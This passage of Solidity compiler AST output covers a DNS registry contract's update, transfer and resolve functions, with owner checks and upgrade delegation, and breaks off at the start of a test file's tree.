payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":142,"name":"Identifier","src":"1854:3:1"}],"id":143,"name":"MemberAccess","src":"1854:10:1"}],"id":144,"name":"BinaryOperation","src":"1845:19:1"},{"attributes":{"hexvalue":"4e6f7420746865206f776e657220696e20757067726164656420636f6e74726163742e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Not the owner in upgraded contract.\"","value":"Not the owner in upgraded contract."},"id":145,"name":"Literal","src":"1866:37:1"}],"id":146,"name":"FunctionCall","src":"1837:67:1"}],"id":147,"name":"ExpressionStatement","src":"1837:67:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"update","referencedDeclaration":1443,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":148,"name":"Identifier","src":"1909:4:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":123,"type":"contract IDNS","value":"to"},"id":149,"name":"Identifier","src":"1914:2:1"}],"id":150,"name":"FunctionCall","src":"1909:8:1"}],"id":151,"name":"MemberAccess","src":"1909:15:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":114,"type":"string memory","value":"_domain"},"id":152,"name":"Identifier","src":"1925:7:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":116,"type":"bytes4","value":"_ip"},"id":153,"name":"Identifier","src":"1934:3:1"}],"id":154,"name":"FunctionCall","src":"1909:29:1"}],"id":155,"name":"ExpressionStatement","src":"1909:29:1"},{"attributes":{"functionReturnParameters":119},"id":156,"name":"Return","src":"1943:7:1"}],"id":157,"name":"Block","src":"1783:171:1"}],"id":158,"name":"IfStatement","src":"1770:184:1"},{"attributes":{"assignments":[160]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"entry","scope":187,"stateVariable":false,"storageLocation":"storage","type":"struct IDNS.Entry","visibility":"internal"},"children":[{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":159,"name":"UserDefinedTypeName","src":"1958:5:1"}],"id":160,"name":"VariableDeclaration","src":"1958:19:1"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":13,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":161,"name":"Identifier","src":"1980:4:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":114,"type":"string memory","value":"_domain"},"id":162,"name":"Identifier","src":"1985:7:1"}],"id":163,"name":"IndexAccess","src":"1980:13:1"}],"id":164,"name":"VariableDeclarationStatement","src":"1958:35:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963","typeString":"literal_string \"Not the owner.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":165,"name":"Identifier","src":"1997:7:1"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":160,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":166,"name":"Identifier","src":"2005:5:1"}],"id":167,"name":"MemberAccess","src":"2005:11:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":168,"name":"Identifier","src":"2020:3:1"}],"id":169,"name":"MemberAccess","src":"2020:10:1"}],"id":170,"name":"BinaryOperation","src":"2005:25:1"},{"attributes":{"hexvalue":"4e6f7420746865206f776e65722e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Not the owner.\"","value":"Not the owner."},"id":171,"name":"Literal","src":"2032:16:1"}],"id":172,"name":"FunctionCall","src":"1997:52:1"}],"id":173,"name":"ExpressionStatement","src":"1997:52:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e","typeString":"literal_string \"Invalid ip.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":174,"name":"Identifier","src":"2053:7:1"},{"attributes":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":116,"type":"bytes4","value":"_ip"},"id":175,"name":"Identifier","src":"2061:3:1"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":176,"name":"Literal","src":"2068:1:1"}],"id":177,"name":"BinaryOperation","src":"2061:8:1"},{"attributes":{"hexvalue":"496e76616c69642069702e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid ip.\"","value":"Invalid ip."},"id":178,"name":"Literal","src":"2071:13:1"}],"id":179,"name":"FunctionCall","src":"2053:32:1"}],"id":180,"name":"ExpressionStatement","src":"2053:32:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bytes4"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":160,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":181,"name":"Identifier","src":"2089:5:1"}],"id":183,"name":"MemberAccess","src":"2089:8:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":116,"type":"bytes4","value":"_ip"},"id":184,"name":"Identifier","src":"2100:3:1"}],"id":185,"name":"Assignment","src":"2089:14:1"}],"id":186,"name":"ExpressionStatement","src":"2089:14:1"}],"id":187,"name":"Block","src":"1699:408:1"}],"id":188,"name":"FunctionDefinition","src":"1630:477:1"},{"attributes":{"baseFunctions":[1451],"functionSelector":"fbf58b3e","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"transfer","scope":308,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":194,"name":"OverrideSpecifier","src":"2176:8:1"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":267,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":189,"name":"ElementaryTypeName","src":"2128:6:1"}],"id":190,"name":"VariableDeclaration","src":"2128:21:1"},{"attributes":{"constant":false,"mutability":"mutable","name":"_owner","scope":267,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":191,"name":"ElementaryTypeName","src":"2151:7:1"}],"id":192,"name":"VariableDeclaration","src":"2151:14:1"}],"id":193,"name":"ParameterList","src":"2127:39:1"},{"attributes":{"parameters":[null]},"children":[],"id":195,"name":"ParameterList","src":"2185:0:1"},{"children":[{"attributes":{"assignments":[197,199]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"upgrade","scope":266,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":196,"name":"ElementaryTypeName","src":"2190:4:1"}],"id":197,"name":"VariableDeclaration","src":"2190:12:1"},{"attributes":{"constant":false,"mutability":"mutable","name":"to","scope":266,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":198,"name":"UserDefinedTypeName","src":"2204:4:1"}],"id":199,"name":"VariableDeclaration","src":"2204:7:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bool,contract IDNS)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"activeUpgrade","referencedDeclaration":1886,"type":"function (address) view external returns (bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":16,"type":"contract Upgrade","value":"upgradeInfo"},"id":200,"name":"Identifier","src":"2215:11:1"}],"id":201,"name":"MemberAccess","src":"2215:25:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":202,"name":"Identifier","src":"2241:3:1"}],"id":203,"name":"MemberAccess","src":"2241:10:1"}],"id":204,"name":"FunctionCall","src":"2215:37:1"}],"id":205,"name":"VariableDeclarationStatement","src":"2189:63:1"},{"attributes":{},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":197,"type":"bool","value":"upgrade"},"id":206,"name":"Identifier","src":"2260:7:1"},{"children":[{"attributes":{"assignments":[null,208]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"owner","scope":233,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":207,"name":"ElementaryTypeName","src":"2276:7:1"}],"id":208,"name":"VariableDeclaration","src":"2276:13:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":1461,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":209,"name":"Identifier","src":"2293:4:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":199,"type":"contract IDNS","value":"to"},"id":210,"name":"Identifier","src":"2298:2:1"}],"id":211,"name":"FunctionCall","src":"2293:8:1"}],"id":212,"name":"MemberAccess","src":"2293:16:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":190,"type":"string memory","value":"_domain"},"id":213,"name":"Identifier","src":"2310:7:1"}],"id":214,"name":"FunctionCall","src":"2293:25:1"}],"id":215,"name":"VariableDeclarationStatement","src":"2274:44:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_bd6c1ce7819bd375b0951e8f24f62087ea6f8085ed8dd177eac2d51e7618d692","typeString":"literal_string \"Not the owner in upgraded contract.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":216,"name":"Identifier","src":"2323:7:1"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":208,"type":"address","value":"owner"},"id":217,"name":"Identifier","src":"2331:5:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":218,"name":"Identifier","src":"2340:3:1"}],"id":219,"name":"MemberAccess","src":"2340:10:1"}],"id":220,"name":"BinaryOperation","src":"2331:19:1"},{"attributes":{"hexvalue":"4e6f7420746865206f776e657220696e20757067726164656420636f6e74726163742e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Not the owner in upgraded contract.\"","value":"Not the owner in upgraded contract."},"id":221,"name":"Literal","src":"2352:37:1"}],"id":222,"name":"FunctionCall","src":"2323:67:1"}],"id":223,"name":"ExpressionStatement","src":"2323:67:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"transfer","referencedDeclaration":1451,"type":"function (string memory,address) external"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":224,"name":"Identifier","src":"2395:4:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":199,"type":"contract IDNS","value":"to"},"id":225,"name":"Identifier","src":"2400:2:1"}],"id":226,"name":"FunctionCall","src":"2395:8:1"}],"id":227,"name":"MemberAccess","src":"2395:17:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":190,"type":"string memory","value":"_domain"},"id":228,"name":"Identifier","src":"2413:7:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":192,"type":"address","value":"_owner"},"id":229,"name":"Identifier","src":"2422:6:1"}],"id":230,"name":"FunctionCall","src":"2395:34:1"}],"id":231,"name":"ExpressionStatement","src":"2395:34:1"},{"attributes":{"functionReturnParameters":195},"id":232,"name":"Return","src":"2434:7:1"}],"id":233,"name":"Block","src":"2269:176:1"}],"id":234,"name":"IfStatement","src":"2256:189:1"},{"attributes":{"assignments":[236]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"entry","scope":266,"stateVariable":false,"storageLocation":"storage","type":"struct IDNS.Entry","visibility":"internal"},"children":[{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":235,"name":"UserDefinedTypeName","src":"2449:5:1"}],"id":236,"name":"VariableDeclaration","src":"2449:19:1"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":13,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":237,"name":"Identifier","src":"2471:4:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":190,"type":"string memory","value":"_domain"},"id":238,"name":"Identifier","src":"2476:7:1"}],"id":239,"name":"IndexAccess","src":"2471:13:1"}],"id":240,"name":"VariableDeclarationStatement","src":"2449:35:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963","typeString":"literal_string \"Not the owner.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":241,"name":"Identifier","src":"2488:7:1"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":236,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":242,"name":"Identifier","src":"2496:5:1"}],"id":243,"name":"MemberAccess","src":"2496:11:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":244,"name":"Identifier","src":"2511:3:1"}],"id":245,"name":"MemberAccess","src":"2511:10:1"}],"id":246,"name":"BinaryOperation","src":"2496:25:1"},{"attributes":{"hexvalue":"4e6f7420746865206f776e65722e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Not the owner.\"","value":"Not the owner."},"id":247,"name":"Literal","src":"2523:16:1"}],"id":248,"name":"FunctionCall","src":"2488:52:1"}],"id":249,"name":"ExpressionStatement","src":"2488:52:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7237b40c37ff5118ba1ddef24c550790af93dd9b94bae5bf99b9f4af8569f664","typeString":"literal_string \"Invalid owner.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":250,"name":"Identifier","src":"2544:7:1"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":192,"type":"address","value":"_owner"},"id":251,"name":"Identifier","src":"2552:6:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address payable","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":252,"name":"ElementaryTypeName","src":"2562:7:1"}],"id":253,"name":"ElementaryTypeNameExpression","src":"2562:7:1"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":254,"name":"Literal","src":"2570:1:1"}],"id":255,"name":"FunctionCall","src":"2562:10:1"}],"id":256,"name":"BinaryOperation","src":"2552:20:1"},{"attributes":{"hexvalue":"496e76616c6964206f776e65722e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid owner.\"","value":"Invalid owner."},"id":257,"name":"Literal","src":"2574:16:1"}],"id":258,"name":"FunctionCall","src":"2544:47:1"}],"id":259,"name":"ExpressionStatement","src":"2544:47:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"address"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":236,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":260,"name":"Identifier","src":"2595:5:1"}],"id":262,"name":"MemberAccess","src":"2595:11:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":192,"type":"address","value":"_owner"},"id":263,"name":"Identifier","src":"2609:6:1"}],"id":264,"name":"Assignment","src":"2595:20:1"}],"id":265,"name":"ExpressionStatement","src":"2595:20:1"}],"id":266,"name":"Block","src":"2185:434:1"}],"id":267,"name":"FunctionDefinition","src":"2110:509:1"},{"attributes":{"baseFunctions":[1461],"functionSelector":"461a4478","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"resolve","scope":308,"stateMutability":"view","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":271,"name":"OverrideSpecifier","src":"2676:8:1"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":307,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":268,"name":"ElementaryTypeName","src":"2639:6:1"}],"id":269,"name":"VariableDeclaration","src":"2639:21:1"}],"id":270,"name":"ParameterList","src":"2638:23:1"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":307,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":272,"name":"ElementaryTypeName","src":"2694:6:1"}],"id":273,"name":"VariableDeclaration","src":"2694:6:1"},{"attributes":{"constant":false,"mutability":"mutable","name":"owner","scope":307,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":274,"name":"ElementaryTypeName","src":"2702:7:1"}],"id":275,"name":"VariableDeclaration","src":"2702:13:1"}],"id":276,"name":"ParameterList","src":"2693:23:1"},{"children":[{"attributes":{"assignments":[278,280]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"upgrade","scope":306,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":277,"name":"ElementaryTypeName","src":"2722:4:1"}],"id":278,"name":"VariableDeclaration","src":"2722:12:1"},{"attributes":{"constant":false,"mutability":"mutable","name":"to","scope":306,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":279,"name":"UserDefinedTypeName","src":"2736:4:1"}],"id":280,"name":"VariableDeclaration","src":"2736:7:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bool,contract IDNS)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"activeUpgrade","referencedDeclaration":1886,"type":"function (address) view external returns (bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":16,"type":"contract Upgrade","value":"upgradeInfo"},"id":281,"name":"Identifier","src":"2747:11:1"}],"id":282,"name":"MemberAccess","src":"2747:25:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":283,"name":"Identifier","src":"2773:3:1"}],"id":284,"name":"MemberAccess","src":"2773:10:1"}],"id":285,"name":"FunctionCall","src":"2747:37:1"}],"id":286,"name":"VariableDeclarationStatement","src":"2721:63:1"},{"attributes":{},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":278,"type":"bool","value":"upgrade"},"id":287,"name":"Identifier","src":"2792:7:1"},{"attributes":{"functionReturnParameters":276},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":1461,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":288,"name":"Identifier","src":"2811:4:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":280,"type":"contract IDNS","value":"to"},"id":289,"name":"Identifier","src":"2816:2:1"}],"id":290,"name":"FunctionCall","src":"2811:8:1"}],"id":291,"name":"MemberAccess","src":"2811:16:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":269,"type":"string memory","value":"_domain"},"id":292,"name":"Identifier","src":"2828:7:1"}],"id":293,"name":"FunctionCall","src":"2811:25:1"}],"id":294,"name":"Return","src":"2804:32:1"}],"id":295,"name":"IfStatement","src":"2788:48:1"},{"attributes":{"functionReturnParameters":276},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":13,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":296,"name":"Identifier","src":"2848:4:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":269,"type":"string memory","value":"_domain"},"id":297,"name":"Identifier","src":"2853:7:1"}],"id":298,"name":"IndexAccess","src":"2848:13:1"}],"id":299,"name":"MemberAccess","src":"2848:16:1"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":13,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":300,"name":"Identifier","src":"2866:4:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":269,"type":"string memory","value":"_domain"},"id":301,"name":"Identifier","src":"2871:7:1"}],"id":302,"name":"IndexAccess","src":"2866:13:1"}],"id":303,"name":"MemberAccess","src":"2866:19:1"}],"id":304,"name":"TupleExpression","src":"2847:39:1"}],"id":305,"name":"Return","src":"2840:46:1"}],"id":306,"name":"Block","src":"2717:173:1"}],"id":307,"name":"FunctionDefinition","src":"2622:268:1"}],"id":308,"name":"ContractDefinition","src":"596:2296:1"}],"id":309,"name":"SourceUnit","src":"36:2857:1"}},"src/DNSTest.t.sol":{"AST":{"attributes":{"absolutePath":"src/DNSTest.t.sol","exportedSymbols":{"DNS":[308],"DNSTest":[1362],"DSTest":[2747],"HEVMCheat":[1417],"IDNS":[1462],"MalDNS":[1723],"Upgrade":[2050],"UpgradedDNS":[2303],"User":[443]},"license":"GPL-v3"},"children":[{"attributes":{"literals":["solidity","^","0.7",".0"]},"id":310,"name":"PragmaDirective","src":"36:23:2"},{"attributes":{"literals":["experimental","ABIEncoderV2"]},"id":311,"name":"PragmaDirective","src":"60:33:2"},{"attributes":{"SourceUnit":309,"absolutePath":"src/DNS.sol","file":"./DNS.sol","scope":1363,"symbolAliases":[null],"unitAlias":""},"id":312,"name":"ImportDirective","src":"95:19:2"},{"attributes":{"SourceUnit":2051,"absolutePath":"src/Upgrade.sol","file":"./Upgrade.sol","scope":1363,"symbolAliases":[null],"unitAlias":""},"id":313,"name":"ImportDirective","src":"115:23:2"},{"attributes":{"SourceUnit":2304,"absolutePath":"src/UpgradedDNS.sol","file":"./UpgradedDNS.sol","scope":1363,"symbolAliases":[null],"unitAlias":""},"id":314,"name":"ImportDirective","src":"